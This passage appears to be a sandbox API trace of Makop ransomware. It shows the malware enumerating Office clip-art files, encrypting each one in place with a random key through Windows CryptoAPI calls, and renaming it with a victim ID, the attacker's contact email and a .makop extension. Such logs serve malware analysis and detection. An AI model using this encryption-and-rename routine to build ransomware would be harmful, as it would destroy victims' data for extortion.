Office\\CLIPART\\PUB60COR\\J0287641.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287641.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.888] CloseHandle (hObject=0xf0) returned 1 [0133.888] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6d41000, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd6d41000, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x42d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287642.JPG", cAlternateFileName="")) returned 1 [0133.888] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG") returned 63 [0133.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.889] GetProcessHeap () returned 0x48a0000 [0133.889] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.890] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.890] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.890] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0133.894] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.895] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.895] GetProcessHeap () returned 0x48a0000 [0133.895] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.895] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.895] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.895] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.895] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.896] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.896] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.896] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.896] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.896] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.897] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x42d1, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x42d1, lpOverlapped=0x0) returned 1 [0133.898] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x42e0, dwBufLen=0x42e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x42e0) returned 1 [0133.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.899] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x42e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x42e0, lpOverlapped=0x0) returned 1 [0133.899] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.899] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x43b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.899] SetEndOfFile (hFile=0xf0) returned 1 [0133.906] GetProcessHeap () returned 0x48a0000 [0133.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.906] GetProcessHeap () returned 0x48a0000 [0133.907] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.907] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287642.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287642.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.909] CloseHandle (hObject=0xf0) returned 1 [0133.910] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x3e91, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287643.JPG", cAlternateFileName="")) returned 1 [0133.910] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG") returned 63 [0133.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.911] GetProcessHeap () returned 0x48a0000 [0133.911] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.911] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.911] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xf, lpOverlapped=0x0) returned 1 [0133.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.916] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.916] GetProcessHeap () returned 0x48a0000 [0133.916] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.916] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.916] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.916] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.916] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.916] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.917] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.917] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.917] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.917] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.917] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3e91, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3e91, lpOverlapped=0x0) returned 1 [0133.919] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ea0, dwBufLen=0x3ea0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3ea0) returned 1 [0133.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3ea0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3ea0, lpOverlapped=0x0) returned 1 [0133.920] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3f74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.920] SetEndOfFile (hFile=0xf0) returned 1 [0133.927] GetProcessHeap () returned 0x48a0000 [0133.928] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.928] GetProcessHeap () returned 0x48a0000 [0133.928] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.928] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287643.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287643.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.930] CloseHandle (hObject=0xf0) returned 1 [0133.930] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x43c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287644.JPG", cAlternateFileName="")) returned 1 [0133.930] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG") returned 63 [0133.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.931] GetProcessHeap () returned 0x48a0000 [0133.931] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.931] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.931] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.931] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xb, lpOverlapped=0x0) returned 1 [0133.936] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.936] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.936] GetProcessHeap () returned 0x48a0000 [0133.936] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.936] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.936] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.936] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.936] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.937] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.937] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.937] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x43c5, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x43c5, lpOverlapped=0x0) returned 1 [0133.939] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x43d0, dwBufLen=0x43d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x43d0) returned 1 [0133.940] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.940] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x43d0, lpOverlapped=0x0) returned 1 [0133.940] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.940] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x44a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.940] SetEndOfFile (hFile=0xf0) returned 1 [0133.947] GetProcessHeap () returned 0x48a0000 [0133.947] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0133.947] GetProcessHeap () returned 0x48a0000 [0133.947] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0133.947] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0133.947] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287644.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287644.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0133.949] CloseHandle (hObject=0xf0) returned 1 [0133.949] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5a2e300, ftCreationTime.dwHighDateTime=0x1bf58da, ftLastAccessTime.dwLowDateTime=0x66116650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5a2e300, ftLastWriteTime.dwHighDateTime=0x1bf58da, nFileSizeHigh=0x0, nFileSizeLow=0x8d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0287645.JPG", cAlternateFileName="")) returned 1 [0133.949] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG") returned 63 [0133.949] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0287645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0287645.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0133.953] GetProcessHeap () returned 0x48a0000 [0133.953] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0133.953] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0133.953] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0133.953] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0133.957] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.957] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.957] GetProcessHeap () returned 0x48a0000 [0133.957] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0133.957] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0133.957] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.957] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0133.957] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0133.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0133.958] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0133.958] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0133.958] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0133.958] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0133.958] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0133.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.959] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x8d86, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x8d86, lpOverlapped=0x0) returned 1 [0133.961] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8d90, dwBufLen=0x8d90 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x8d90) returned 1 [0133.961] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.961] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x8d90, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x8d90, lpOverlapped=0x0) returned 1 [0133.962] CryptDestroyKey (hKey=0x48c7128) returned 1 [0133.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8e64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0133.962] SetEndOfFile (hFile=0xf0) returned 1 [0133.969] GetProcessHeap () returned 0x48a0000 [0133.969] HeapFree (in: 